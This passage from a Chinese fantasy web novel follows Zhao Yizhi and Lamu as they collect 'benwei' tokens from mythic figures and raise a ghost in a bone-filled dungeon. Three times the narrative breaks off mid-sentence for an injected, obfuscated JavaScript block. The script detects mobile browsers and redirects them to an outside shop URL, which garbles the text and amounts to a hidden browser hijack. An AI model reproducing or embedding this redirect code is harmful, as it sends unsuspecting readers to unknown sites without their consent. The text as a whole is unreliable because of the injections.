“先解决上面这个。” “啊?” 身后突然涌来一股推力撞向赵义之的背,不给他任何反应的机会,将他重重拍到石柱上,压制得无法动弹。千钧一发之际拉姆躲开了,如今正与手持耒耜的文命对峙。 “准备好了吗?”拉姆问。 “准备什么?”赵义之有些茫然。 拉姆却没有回答,自顾自捡起河床上的锁住赵义之的那根铁链朝文命甩去,绑在锁链上的赵义之顺势飞扑而去,好似黄鳝泥鳅三角峰,躲开文命的攻击,滑溜溜绕到他身后直接锁喉。文命挣扎得相当厉害,鱼尾翻腾出水花,像旋转的陀螺,在河底四处撞击。 这种时候拉姆靠不住,赵义之很清楚,可除了拉姆他也别无所依了。 “拉姆!铁链!” “我知道。”拉姆的声音几乎是在赵义之耳边响起。他手里提溜着从自己身上扯下的铁链,两三下捆住文命的鱼尾巴。 他逃不掉了,赵义之松开手臂任由文命挣扎。 铁链在鱼尾上摩擦出伤口,鱼鳞在混着鲜血的河中浮沉。文命终于筋疲力尽,慢慢转身看向围着石柱不知在说什么的两人,脸上难掩挫败之色。 绷直的铁链软软垂下,察觉到可以收杆的赵义之抬眼瞥向文命,提起铁链将他一点一点拉到面前,语重心长地说:“你说你,非要挣扎,这不白费力气。” “你二人何至于此?”文命面露哀愁,目光在赵义之与拉姆的脸上来回移动,若是我娘子,绝不会如此对我。” 赵义之拍手鼓掌:“你说得对。” 一旁的拉姆一言不发,只是突然开始扒文命的衣裳。 文命扭动身体避让,似有几分羞涩:“使、使不得……” “来帮忙。”扒得不顺利的拉姆想赵义之求助。 聪明的赵义之恍然大悟,从背后反扣住文名的一只手腕,小臂用力抵住他的后颈:“别乱动。” 文命挣扎不脱,只能大喊:“何等放肆!” 二人齐心协力扒下文命身上最后一件衣服,翻来覆去却没找着任何本位,只在衣服内侧看见几个字:吾受困于河底。 “本位呢?”赵义之问文命。 文命侧开身体,双臂遮羞在胸前:“你、你等二人,简直放肆!” 赵义之揪下一片鱼鳞,威胁他:“说不说?!不说我把鳞片给你全剐了!” “你!”文命咬紧牙大喘横气,颤抖着伸出手指,指着镇河柱恨恨说道,“在……在下方。” “怎么下去?” 文命摆脱赵义之的束缚,游到石柱旁,按下上面一块凸起的花纹。 叮—— 石柱上缓缓打开一扇门,里面是个小小的房间——或许称其为“电梯”更恰当。 拉姆扯断锁住赵义之的铁链,先一步进去,转过身来冲他招招手:“走了。” 赵义之迅速游过去。 电梯内只有两个按钮:上、下。 他们自然是要往下的。赵义之毫不犹豫按下去。 门再次打开,呈现于眼前的是夺目的盛光,以及压抑的地底空间。落脚之处是不到两米宽的黑色岩石,低矮的地方甚至只能匍匐往前,只有岩浆池依旧宽广、明耀。 岩浆的极度高温炙烤着这里,不留任何活物。 好在赵义之并非活物,而拉姆,是不死的活物。 “竟然没变软。”赵义之捡起地上的铁链掂量,“岩浆旁的温度这么高,哪怕不化也该维持不了形状。看来不是普通的材料。嗯?”他从鼻腔中发出疑问的声音,“体感温度好像并不高?你觉得热吗?” “不热。” 顺着铁链延伸的方向往前走,很快就能看见放在岩浆中炼化的九口鼎。拉姆伸手去拿,刚摸到鼎口整个手掌瞬间燃烧,等他再收回来,连骨头都酥了,啪的一声断去半截。剩下的半截则被拉姆亲手给掰了。 赵义之也想摸那鼎的手默默被收回,不禁后退两步:“这是文命的本位?” “嗯。”拉姆往旁边挪了一步,扭头看向赵义之,意思不言而喻。 “你是自己手被烧了心里不平衡?” “拟态,烧不起来。” 赵义之斜眼盯着拉姆:“骗我是狗。” 拉姆幽幽叹口气:“骗你是狗。” 战战兢兢伸出的手,还没碰上便吓得收回来,赵义之还是害怕,只敢一点一点试探着靠近,迅速摸到鼎后缩回手。 “确实不烫?”握住手指的赵义之略有疑惑。 九口大鼎化作细砂缓缓而上,相互缠拧变成一只展翅的凤凰,消失于岩浆璀璨中。 赵义之揉揉心口,长舒一口气,已经做好骂拉姆是狗了,还好拉姆没骗他。他想对拉姆说什么,刚张嘴,拉姆就潇洒转身继续往里走,没给机会。他垂下目光一看,不知何时,拉姆被烧成灰的手掌又重新长出来了。 赵义之盯着拉姆的手,露出鲜少挂在脸上的忧闷神情,似有沉思,以至于前方的拉姆停下脚步,都没发觉。他仍旧在往前走,结结实实撞上拉姆的后背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386429|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,险些磕到鼻子。 “干嘛突然停下来。”他被绊得横跨一步,站稳后顺着拉姆的目光看去。 翻滚的岩浆池中,铁链捆住了一个身影。与文命捆赵义之和拉姆不同,铁链锁住他的腰和四肢,将胳膊拉到极限无法动弹。滚烫的岩浆没过他小腹,他每动一分,便往下沉一寸,直至将其完全吞没,或许才算结束。 “哈哈哈……”他发出低沉的笑声,颤抖的身体带动铁链摇晃,“终于……转机,终于来了。劳烦二位替我解开锁链,我必有重谢!” 歪着脑袋的拉姆沉思片刻,像是下定某种决心,说:“走吧。” 比赵义之更惊讶的,是泡在岩浆池里的男人:“且慢!” 赵义之拉住利落转身欲走的拉姆,靠近些许压低嗓音问:“不找他拿本位?” “本位不在他身上。” “那走吧。”没必要浪费时间。 “且慢!”男人再次急切喊道,“可否先听我一言?” 几句话的功夫,男人的身体往池中沉到肚脐上,铁链也因此被甩得哗哗作响,可见他心中迫切。 已经转身的赵义之闭闭眼,无奈回头:“挑重点说,我们赶时间。” “救我离开此地!” “我就知道。”赵义之小声嘟囔,然后对拉姆说,“要不救救他?感觉他被锁在这里怪可怜的。” 拉姆转头面朝赵义之,忽然微微笑了:“果然是好人。” 赵义之搓搓手臂:“你笑得我浑身起鸡皮疙瘩。” 拉姆拍了拍他的肩,返回几步:“可以救你,报酬是你的本位。” “好!”男子欣然答应。 拉姆满意地点点头,扭头看向赵义之,意思同样不言而喻。 行吧。 赵义之紧张地伸出一只脚,慢慢触碰岩浆表面,发现不烫后才大胆走下去,一边寻找放下锁链的机关,一边问:“怎么放你下来?有机关或是什么东西吗?” “只需破坏阵法,区区锁链,自是困不住我。”男人解释道,“此阵有‘生’‘死’二门,生门七处,皆是地火融入之关口,死门有三,乃地火消退之关口。关生门,开死门,阵法破。” 赵义之若有所悟:“哦,就是关水龙头,拔地漏是吧,懂了。拉姆,你先去找生门,能关关,不能关等我来。我去找死门。” 不必等到赵义之花费时间去找,拉姆一一指出十个地方,正是生门与死门。 阵法破除后,岩浆池逐渐被清空,而男人也恢复力气,挣断束缚自己的锁链,一脚,踏裂了黑色岩石,震得连人带地晃三晃。裂缝不断喀喀向四周扩散蔓延,连头顶上也掉下碎石子,没能幸免。 “吾乃祝融重黎也——!”似要宣泄出长年的一口污浊志气,他不顾此方狭缝是否能承受得住,只求吼个畅快。 掉落的岩石块越来越多、越来越大,砸了五六七八个在重黎身上。 “何方小儿胆敢暗算我?!” 重黎怒道,“是何居心?!” “快走吧,是老天爷暗算你。这里要塌了!”赵义之说完护着脑袋朝电梯跑,“拉姆快跑!” 情急之下,赵义之没想起拉姆一步千里的本事,等他好不容易在落石下逃回电梯口,却看见拉姆和重黎已然在里面等他了。 好在最后有惊无险,平平安安回到河面上。 三人刚从河中冒出头,便听见远远有人声呼唤,回首一瞧,岸边站立着一男人,正捧着手放在嘴边朝他们喊着什么。 咆哮的黄河淹没了男人的声音,听了好半天,拉姆才听见他在说什么。 “上游泄洪了,快跑。” 41.水之泱泱 黄河之水天上来,奔流奔流奔流。 赵义之构建出三辆摩托艇,骑着它玩冲浪,可苦了重黎体型大,骑上去坐不稳,老是翻回河里。他一怒之下发起火,将河水给烧了个干净。 按理说黄河何其浩荡,即使重黎是火神,也自然烧不干净的,但不晓得为什么,他们就是见到了暴露在青天白日下礁石林立的黄河底,懵懵的。 重黎十分满意自己的杰作,笑眯眯说道:“嗯,不减当年。” 河岸边的男人气势汹汹冲过来,没有任何只言片语,直接和重黎动手。他招来黄河水再次淹没河道,水势远比刚才凶猛。重黎愣了愣,便是这片刻的迟疑,令他险些被冲走。 涨高的水位重新托起摩托艇,赵义之赶紧驾着它围在拉姆身边转:“那边快打起来了,我们要不要阻止?” “没用。”拉姆静静面向那边一触即发的两人,好似在思考。 “行,那我自己去玩儿了。”。 在水位忽高忽低的河中玩得还算尽兴的赵义之又回到拉姆身边,看戏一般旁观打架。两名男子一路从地面打到空中,水花与火光交替四溅,打铁花似的好看。于是赵义之构建出瓜子与两听可乐,分给拉姆一听,靠在车头上单手拎着上缘用食指扣开拉环,喝之前还不忘和拉姆的碰了一下。 “我们不是赶时间吗,怎么还有空看热闹。”赵义之像是在问,又像是在吐槽。 其实康回冲过来打重黎的时候,赵义之是想拦的,结果反倒是他被拉姆拦下了。拉姆告诉他,善水的男人是共工,必定和祝融有一战,不让他们打,不好拿本位。赵义之深以为然,这才安心玩起了摩托艇。 拉姆却并未闲着。他能感觉到本位就在康回身上,可究竟在哪里…… “什么时候出手?”赵义之问。 “嗝~”拉姆打了个嗝,难受得皱起眉。 赵义之在旁边笑:“没喝过?” 拉姆摇摇头,放下手中的可乐。他实在不怎么喜欢被二氧化碳通鼻子的感觉。 “说起来,《山海经》里说共工是祝融的儿子。败给祝融后,共工撞倒不周山,然后才有后来的女娲补天。”赵义之边嗑瓜子边说。 拉姆转头面向黄河上游,讷讷道:“河水没有流下来。” 赵义之也顺着转头看过去:“可能上游有大坝,之前不是提到过泄洪吗。” “去看看。”拉姆驾驶摩托靠近岸边。他跳上岸,沿着河流上游走。 “这边打架的不管了?”赵义之跟上去。 “他们分不出胜负,不好插手。”拉姆抓住赵义之宽大的衣袖。 看着满目飞逝的星光,赵义之随手抓住一颗…… 无穷无尽的黑暗笼罩在四周,没有声音,没有气味,没有时间,没有空间。 没有感觉。 天地宇宙空无一物。 ? 赵义之心里产生了一个疑问。之前每次抓住星光都会看见与拉姆有关的信息,可这一次,他只能感受“无”。 而在“无”之后,他最先感受到了“自己”。 这是种非常奇妙的感觉,像拨开云雾见日出,混沌散去,骤然清明。 认知诞生,赵义之急于“看清”除了自己周围究竟还有什么,毕竟大脑对信息最直接的接收,来自于眼睛。他需要眼睛,需要“看”。 要是有光就好了,赵义之这样想,有光,才看得见。 于是黑暗中亮起一个小小的白色光点,光点变得越来越多、越来越亮。而光里第一个出现的,是前面回过头来的拉姆,金色的眼眸熠熠生辉。 “没事吧?”拉姆问。 “没事……”赵义之眨眨眼,慢慢回神,没有将刚才的突然失感告诉拉姆。他不希望表现得太大惊小怪,毕竟这只是件微不足道的小事。 如赵义之所言,黄河上游果然有蓄水大坝拦住了流往低处的河水。 说是大坝,其实不过是横在河上的一道岩墙,正所谓壅防,堵而无疏,河水越积越多,迟早溃堤。显然这并非理想之举。 之前的“泄洪”,想来正是溃堤的后果。偏巧,遇上重黎,用大火将洪水蒸发,免除一场灾难。按理说是帮了大忙,换作旁人,恐怕感谢都来不及,哪会一言不合就开干。 除非,大火不仅烧干了水,还烧掉了别的什么东西。 “堤坝不开口,这是想水漫黄土地啊,哪个小机灵干的。”说话的是赵义之。 拉姆抬手甩出几个带着空间旋拧的黑球,一如抛出几颗不起眼的小石子。黑球飘向河中央,在巨石高筑的堤坝上咬下豁口。蓄满的河水迫不及待地倾流而下,逐渐填满被火烧干的河道。 “这么厉害的技能你藏着?!”赵义之因为震惊的话语声破了音。 拉姆略有疑惑地转过头来:“我从没藏过。” “那我们打架的时候你不用?” “没有使用的机会。” “我下次给你机会。” 顿了顿,拉姆才又说:“不能对着生命使用。” 赵义之点点头,很快又问:“你这招叫什么?之前看你在博物馆对付阿卡夏的时候用过。” “没取名字。”拉姆嫌麻烦,不想回答赵义之接下来要问的“为什么叫噬无”,于是撒了个谎。 赵义之若有所思地说:“得有个名字,不然哎你去哪儿?” 没等他说完话,拉姆已然纵身跃入堤坝之上的河中。他并非毫无目的,很快便再次浮出水面爬上岸,手中多了一块黄灿灿的石头。 赵义之跟在他身后,莫名去河中遛了个弯,此时看着拉姆手中的石头,有些无语:“这什么?” “黄河玉。”不等赵义之再继续问,拉姆抓着他的胳膊走回战场。 确切说,是之前的战场。 重黎败了,因为上游的河水源源不断流下来,为康回提供地利,故而重黎的神火失去招架能力,落到下风。康回揪住重黎的衣领,将他按入水中,这才大骂起来。听那些话里的意思,原来他发怒,乃是因为重黎烧死了河中的浮游。 据他所言,上游洪水泛滥,浮游正在挖河岸、拓河道,没想到重黎一把火,给烧得只剩一把灰。 浮游,共工的手下之一。 康回打算让重黎死个明白,说完前因后果才要动手。 赵义之冲过去抱住康回的胳膊:“你可以揍他,但你不能杀他。” “为何不能?!”康回用力将手臂往外抽,试图挣脱赵义之的桎梏,“你还不放手!” “你不杀他,我就放手。” “岂有此理?!” “有的有的。” 拉姆站在黄河岸边看着这出闹剧,笃定开口:“我有办法帮你救回浮游。” 闻言,赵义之眼中一亮,立刻附和:“他真有办法,就算只剩一把灰他也能救。” 康回狐疑地上下打量河岸上的拉姆:“你们与他为伍,又为何好心助我?” “我要你身上的本位。”拉姆平静地说,“只要本位。” “反正试一试也不会比一把灰更惨了。”赵义之在旁边怂恿,像个在人耳边不断低语的恶魔。 许是赵义之的低语起了作用,康回暂且放开重黎,抬手间,掌心之上便悬出一只水球,里面包裹着浮游的骨灰。他小心翼翼将水球送至拉姆面前:“救活浮游,本位归你。” 从水球中取出所剩无几的骨灰,拉姆将它撒在河岸边的泥土里,用黄河水和成湿润的稀泥,用稀泥重新捏出浮游的身体。 赵义之观之有感:“女娲造人也是用土捏的。” “一生万物,万物归一;我心即世界,世界由我心。”拉姆低声念着。 他的声音落下后不久,地上用泥土捏出的人形便坐起身来,茫然四顾,目光最终落在康回脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392072|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我这是……?” 随着泥土变干脱落,男人立体的五官显露出来。 “浮游!”康回见到昔日良将复活,喜出望外,“你真的是浮游?!” 泥人呆呆的,点了一下头:“正是浮游。” 拉姆站起来,走到康回面前,隔断他与浮游的视线:“本位。” 仰头看着拉姆的康回咬咬牙,像是下了很大的决心:“好,言出有信。” 他解开衣衫,拿出一把动物骨头磨成的尖刀,生生剖开自己的肚子,在赵义之目瞪口呆的注视下,伸手进去掏了片刻,拽出一块兽皮来。 “你……”赵义之在康回的脸与伤口不断来回扫视,缓缓比出大拇指,“是个狠人。” 兽皮上全是温热的血,拉姆毫无顾忌接过来,展开摊在手心上抚摸,是河图。 刻着河图的兽皮变得如蝉翼般轻盈起来,徐徐浮上天,化作一片星海。 天色一下子就暗了,头顶是星河,身畔吹凉风。 “多谢你救了浮游。”康回收起尖刀,对拉姆表示感谢。 一旁不明就里的浮游听到这句话,也站过来,一同道谢:“恩公大德,铭记于心。” 越过康回和浮游之间的空隙,赵义之对坐在边上看戏的重黎勾勾手指:“该去拿你的本位了。” 在重黎的指引下——亦是拉姆的领路下,顺着河岸一路西行,他们来到一处风景秀丽的山谷。夜月映在小树上,晚风动花林,一阵似歌谣,一阵若流雪,是仙境一般的地方。 “花香……”赵义之迎着夜风深吸一口气,“和在山洞中闻到的一样。”他再次嗅了嗅,“没错,一样的。” 重黎在桃花林间找出一把凤首箜篌,倚树而坐,怀抱弦琴,便就地弹起了。 或许是十二个本位即将拿齐,数小时紧绷的心神这才得以放松,赵义之倒是不着急,在重黎对面的桃花树下构建出桌椅,又配了两盏茶,扯了扯拉姆的衣袖,坐下欣赏。重黎抬头冲他二人一笑,垂目看弦。 曲子终了,重黎双手奉上凤首箜篌:“此乃我的本位。” 拉姆起身接过。箜篌弦琴在他手中变成周身浴火的朱雀鸟,带着长啸朝飞入夜色。 咔。 一声树枝折断的轻轻脆响,惹得三个人同时扭头看去。 不远处亮着一盏幽幽提灯,雾黄的灯火隐约照亮一袭罗裙,来人是位姑娘。 “是何许人?” 她是被重黎的琴声吸引来的。 许是想到什么,她立刻行礼又道:“女子赢夭,蒙秦公恩,收做义女,蔽居此处。” 赢夭。 这个名字赵义之前不久才从拉姆口中听到过,是秦灵公选来代替自己女儿献给冰夷的新娘。赵义之转头看向拉姆,拉姆对此浑然不觉,默默从外套衣兜里拿出河中捡来的那块石头。 “我三人来桃林取信物,无心闯入姑娘领地,见谅。”重黎对赢夭抱拳说道。 赢夭侧过身子,颔首笑道:“君子弄琴,乃玉嘤嘤,我闻幽悠。” 见她笑,重黎便也笑。 “赢夭郡主。”拉姆突兀开口,破坏了赢夭与重黎间的好氛围,“我想与你换一样东西。” 赢夭抬眸,尚未来得及看向说话之人的脸,便先看见了他递上前来的黄色石头,不由得一愣:“此物……” 她接过来,摊在手心中低头端看。 拉姆为她解惑:“是黄河玉。把它交给秦公,你就可以回家了。” 讶异之后,赢夭露出释怀的笑容。她收下了黄河玉,微微颔首:“贵人欲求之物,在房中,随请移步。” 看着赢夭的背影,赵义之压低嗓音问拉姆:“你一早就知道了?要拿黄河玉找赢夭换本位?” “有‘新娘’,有‘河伯’,有‘聘礼’,怎么会没有‘赢夭’呢。” “那山洞里的新娘到底是谁?” 42.通往深渊 揭开石台上边长一米有余的方形铁板,里面出现了下行的石阶,赵义之拿出探照灯,跟在拉姆身后走进去。如今接触得多了,他已没有最初那么害怕,也算是有所成长。 刚下石阶往里走了几步,一股恶臭直灌鼻底,顺着腔部几近冲飞天灵盖。 赵义之捏紧鼻子不住干呕:“什么味道这么臭。” “地牢里空气不流通,大多有很重的味道。”拉姆十分淡定,“习惯就好了。” “以后再习惯吧,我快不行了……” 越往里走,他越是因为这里浑浊不堪的空气几近窒息。真奇怪,他明明只是信息拟态,竟然还需要新鲜空气——这是他失去意识前最后的想法。 睁眼醒来时,最先映入眼中的是坐在他胸口直直低头俯视的黑猫,紫色的眼睛圆得甚是可爱。可当赵义之欲要开口说话时,黑猫的一双瞳眸便褪去暖色的粉红,变为冰蓝。 黑猫的眼睛实在太美,令赵义之一时间忘记自己要说的话,呆呆看了它几秒钟才想起来:“对了,拉姆。拉姆呢?” 赵义之坐起身来左张右望寻找拉姆的身影,可眼中看见的只有冰冷的地道。 黑猫从赵义之身上跳下来,朝地下通道的入口走出几步,回头看着赵义之,意思是要带他出去。赵义之难免有些犹豫,毕竟他刚才是真的被熏晕了,若说没有心理阴影,断然是不可能的。 但留拉姆独自在底下,他还是有些不放心。几番犹豫之下他灵光一闪,给自己弄了个防毒面具,深呼吸三次才跟着黑猫继续往前。 地道幽暗狭窄,且没有多高,只容一人通过。赵义之能感觉到自己的头发不时擦过长满霉菌的天花板,可周围甚至没有多余的空间让他抬手整理。所幸的是,地道很快达到尽头,空间才稍微宽敞了些。 眼前是一扇半开的铁门,赵义之用探照灯往里照,突然听见门后面传来拉姆的声音:“帮……帮忙。” 不祥的预感涌上脑海,赵义之慌张地拉开门,所见到的,是双脚离地的拉姆被白色的长条状东西钉在墙壁上,从他身上流出的鲜血在脚底下积成滩,骇人的多。 “你怎么把自己搞成这样了?!”赵义之冲上前去,手足无措地看着眼前破破烂烂的身体,不用猜想,便知是一场恶斗的缘故。 “我没料到地上的乱骨会突然发起攻击,已经尽力避开了。”拉姆说话的声音在发抖。他虽然是不死之躯,但还是有疼痛的感觉,“你帮我……拔掉这些骨头。” “直、直接拔?” 拉姆虚弱地应声:“嗯……” 赵义之的手止不住地发抖,他紧紧握住拳头,深吸口气:“我拔了。” “唔!”第一根骨头被拔出去,拉姆因剧烈的疼痛而忍不住发出声音。 “我已经尽量很轻了。”赵义之满脸歉意。 “干脆一点……” 赵义之握住插在拉姆身上的骨头,心中默数到三时一气呵成地拔出来。 拉姆咬着牙,眉眼因骨头被拔出而疼得皱起来:“就是……这样……” “你怎么不等我,自己进来了。你明知道自己很弱,还敢一个人乱跑。” “我很弱……?”拉姆笑了一下,很快又因为疼痛而扭曲了表情。 “都被钉在墙上了,还不弱。”赵义之拔出最后一根骨头仍在地上,接住拉姆靠着墙缓缓下滑的身体,扶他坐下,“以后别勉强自己。” “喵~”黑猫立即跑过来,蹭着拉姆的手臂,像是在安慰他。 拉姆摸摸猫的下巴:“我没事,很快就会恢复了。” 看着拉姆衣服下面迅速愈合的伤口,赵义之有种不可思议的感觉:“竟然真的不会死。” 被扔开的骨头卡啦啦作响,很快汇聚成一体,变成了蛇一般的怪物。三十多个头颅在蛇的腹部,上下牙齿不断碰撞咔咔作响,手掌与脚掌的细碎骨头变成蛇尾尖端的一只利爪。 拉姆缓了口气,准备起身:“若是有谁能杀死我,我反而会谢谢他。” “你还是先好好休息吧。”赵义之按下拉姆的肩,站起来正对着骨蛇怪,手中多了支金属棒球棍,“如果有这样的人物,我也想亲眼瞧瞧他是怎么做到的。” “我等了很久。”拉姆认真地看着赵义之的后背,“他都没有出现。” 迎着冲上来的怪物,赵义之侧身屈膝站定,摆出标准的的击球姿势,用力挥棒击碎它俯冲而来的脑袋,才说:“只能看着星体毁灭,老天也会感到孤独和痛苦的吧。” 拉姆低下头:“嗯。” 鼻头隐隐有些发酸,盖过了伤口的疼痛,拉姆忍不住用手指挠了挠,却发现眼睛也涩得发烫。他扶着背后的墙站起来,再抬头时,脸上已恢复平静:“还记得那两只人骨灯吗,现在需要一模一样的,除了头骨。” 赵义之了然,对着怪物补了一棒打得它需要时间整合,这才迅速将两只人骨灯构建出来,一左一右提在手里,问:“然后呢?” “剪开上面的绳子。”拉姆说着,便走到还在努力恢复的骨怪面前。 “还是我来吧。”赵义之抓住拉姆的肩将他拉回来,把手中的人骨灯与剪刀塞过去,再次拿起球棒挡在拉姆与怪物之间,“毕竟你每次都挨打,死不了但也疼啊。” 拉姆一面剪断连接骨头的白绳,一面说:“次数多了就会习惯。” 蛇尾飞快扫来,赵义之跃身躲开,趁其尚未重整姿势,径直探入它身下,拎出一罐液氮猛喷。 仙雾缭绕中,蛇怪未被冻住的部分不安地抖动着,然后,随着拉姆轻轻的一句“各归各位”,便如拂面的黄沙般,从赵义之身旁飞过。待得冷烟散去大半,满地都是残缺的人骨。至于缺失的部分…… 拉姆指着那些被冻住的骨头,意思不需言语。 “谁知道你要一副一副拼出来。”赵义之回头看见,伸手一戳,蛇怪下半截当即碎成渣渣。他在拉姆的目光中尴尬地摸摸鼻子,“我都记住了,赔给你。” 他说着,将碎掉的骨头重新构建出来。 完完整整四十五具成人男子的白骨摆满地下室,几乎没有他们落脚的地方。 冷,赵义之打了个寒战,神色凝重:“你要复活他们?” 拉姆摇摇头:“张祥文在这里,我需要他告诉我真实情况。” 自人骨上徐徐飘出的雾聚为虚浮的人形,大致有个轮廓。只有拉姆面前的人形逐渐出现五官、肢体,最后变得清晰。他皮肤是小麦色的,在黑暗的地下室里显得尤其黝黑,身上是不大合身的西装——这么说也不全对,并非是西装不合身,而这身洋玩意儿不衬他。 他便是张祥文。 “喵~”黑猫对着他嗲嗲叫了一声。 “嗅墨?!”张祥文看见黑猫后,眼睛顿时有了神采,“你怎么来这种地方,是小姐让你来找我的?你替我告诉茵茵小姐,我很好,让她不必忧心。” “陆茵茵已经死了。”拉姆毫不留情地说,他贯来是如此,“你也已经死了。” “我……死了?”张祥文怔愣许久才慢慢回想起过去,“对……我已经死了……那茵茵小姐呢?茵茵小姐怎么会死?!” “她上——”不等拉姆将残忍的事实说出口,赵义之急忙站出来,打断了他。 赵义之说得模棱两可:“现在距离你们的时代已经过了将近百年。” 张祥文垂下脑袋,样子变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428895|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得木讷:“竟然过去这么长时间了……” “你和陆茵茵之间……和陆家之间,发生了什么?”拉姆说,“嗅墨被困住了,我们要救它出去。” “嗅墨,你也被困在这里了吗。”张祥文弯腰将黑猫抱起来,怜爱地抚摸着,开始讲诉他在陆家的那些年—— 跟着母亲来到陆家宅时,张祥文只有七岁,他的父亲死在地主的剥削下,孤儿寡母从此再无依靠。好在陆家愿意给她一份雇工的工作,让她和儿子能有口饭吃。 陆家老爷有一个儿子,叫陆华延,以及陆茵茵和陆宝珠两个女儿。儿子作为陆家继承人,自然是受宠的。小女儿陆宝珠比哥哥姐姐小十岁,算得上老来子,便被陆老爷捧在心尖上宠爱。陆家其他人见此,也不由得对陆宝珠倾注了爱意。 唯有陆茵茵与陆老爷从来都只有怨怼。 陆茵茵刚出生时,陆老爷也是喜欢的,可他偏要望女成凤,在陆茵茵记事后变成一位严父,女儿哭闹任性:打;学不好女红琴棋:打;说话粗鲁无礼:打;违抗父母长辈:家法伺候…… 彼时十岁的陆茵茵犹如开在石头上的花,拼着一口气也要活成自己,陆老爷的打骂没有让她变得乖顺,也没有让她变得“优秀”。她时常跑去雇工居住的院子里找张祥文,不为别的,就是故意要气陆老爷。 陆宝珠出生后,陆老爷对陆茵茵变得更加严苛。在她十五岁那年,她终于正面反抗了父亲,原因很简单——她对自己总是挨骂挨打而妹妹却每次都能换来全家人的原谅感到愤愤不平。于是,当陆宝珠想要张祥文送给她的竹蜻蜓时,她弄哭了陆宝珠。 这些年的委屈,终于撕开薄如蝉翼的理智,统统涌向她的父母,最后换来决裂。 陆茵茵被关在了小姐楼上,直至出嫁方可下楼。 远离内院的小姐楼是海上的荒岛,而她独自住在荒岛上,早已放弃求生。 张祥文第一次见陆茵茵时,便喜欢她,即使那时候他并不明白什么是喜欢。但十二岁的张祥文知道了,却也只敢将喜欢偷偷藏在心里,因为他没有资格。 直到陆茵茵被锁在小姐楼上,仿佛是月亮落下来了,只要他站在屋脊上努力伸长手臂,似乎便能触碰。 黑猫就是他的屋脊。 他抱着刚出生不久的黑猫从狗洞里钻进小院,站在楼下对她喊:“茵茵小姐,我求你救救它吧。” 楼上没人应答。 他继续喊:“茵茵小姐,这只小猫快死了,求求你好心肠救救它吧,我给你磕头了。” 张祥文说着便跪下了,对着小姐楼一边磕头一边求陆茵茵救小猫。 紧闭的窗户终于打开一条缝,陆茵茵面无表情地俯视着张祥文,说道:“我连自己都救不了,怎么救它?” 张祥文跪着朝前走了两步,急切地说:“只要给口饭吃就好了。这只小猫是我在巷子里捡来的,原本养在长工院里,可是被老爷发现了。老爷说黑猫不吉利,要我弄死它。我只能来求小姐了。” 陆茵茵本想说“那就弄死吧”,可话到嘴边又生生咽回去,最后转身剪了自己的裙子,接成一条长长的绳索,绑着竹篮将小猫接上楼。 小猫巴掌大,翘着屁股竖起尾,实在可爱得緊。陆茵茵又来到窗边,对楼下的张祥文说:“它叫什么名字?” 张祥文扣扣脑袋,不好意思地笑:“叫煤炭。” 陆茵茵撇撇嘴,说:“真难听。既然是我的猫了,那我要重新给它取个名字,你没意见吧?” “没有没有。小姐读过书,肯定比我取的名字好,我大字都不识得几个。”张祥文又向陆茵茵磕了两个头,随后怯生生地问,“我以后可以常看来小猫吗?” 43.我要的自由 有嗅墨做屋脊,张祥文时常避开照顾陆茵茵的婆子偷偷来,说是看看猫,其实想见人。 慢慢的,屋脊上的少年和他的月亮都长大了。 陆老爷终于想起他住在小姐楼上的女儿,下一秒,给她定了亲事。男方是罗家的公子,在英国留学,等他两年后回国,就举行婚礼。 得知消息的张祥文十分着急,可他也知道自己出身普通,配不上那样矜贵的人。他失魂落魄地逃到街上,躲在角落哭。 “小兄弟,男儿有泪不轻弹,什么事让你哭成这样?” 搭话的是个非常高挑的女人,穿着艳丽的旗袍,红唇如火。 “和姐姐说说,也许事情就解决了。” 张祥文还是哭:“解决不了,这辈子都解决不了。” 女人勾唇笑着:“你解决不了,可不一定我解决不了。” “我想赚大钱,当个有头有脸的人。”张祥文哭喊道,“你怎么帮!” 女人噗嗤一声笑了。 张祥文顿时羞红脸:“你笑吧,我也知道自己很可笑。还妄想当什么大人物,等下辈子投个好胎说不定还有可能。” “姐姐有个法子可以让你变成有钱人,也愿意给你这个机会,就看你抓不抓得住了。”女人的声音如同她的模样一般酥媚。 张祥文摸了把眼泪:“什么法子?” 女人不答反问:“你在陆家做工?” “嗯。”张祥文哭着点头。 她从手中的小提包里拿出一小包东西,递给他:“把这个放在你们少爷的烟斗里,钱自然就来了。你先拿回去试试,倘若陆少爷还想要,你便来寻我。” “我都不知道你叫什么住哪里,怎么寻。”张祥文吸吸鼻子,总算在哭死之前得了救命的仙药。 “你只需要去下南街的茶馆里,告诉掌柜的找嫣嫣,自然就能见到我了。” 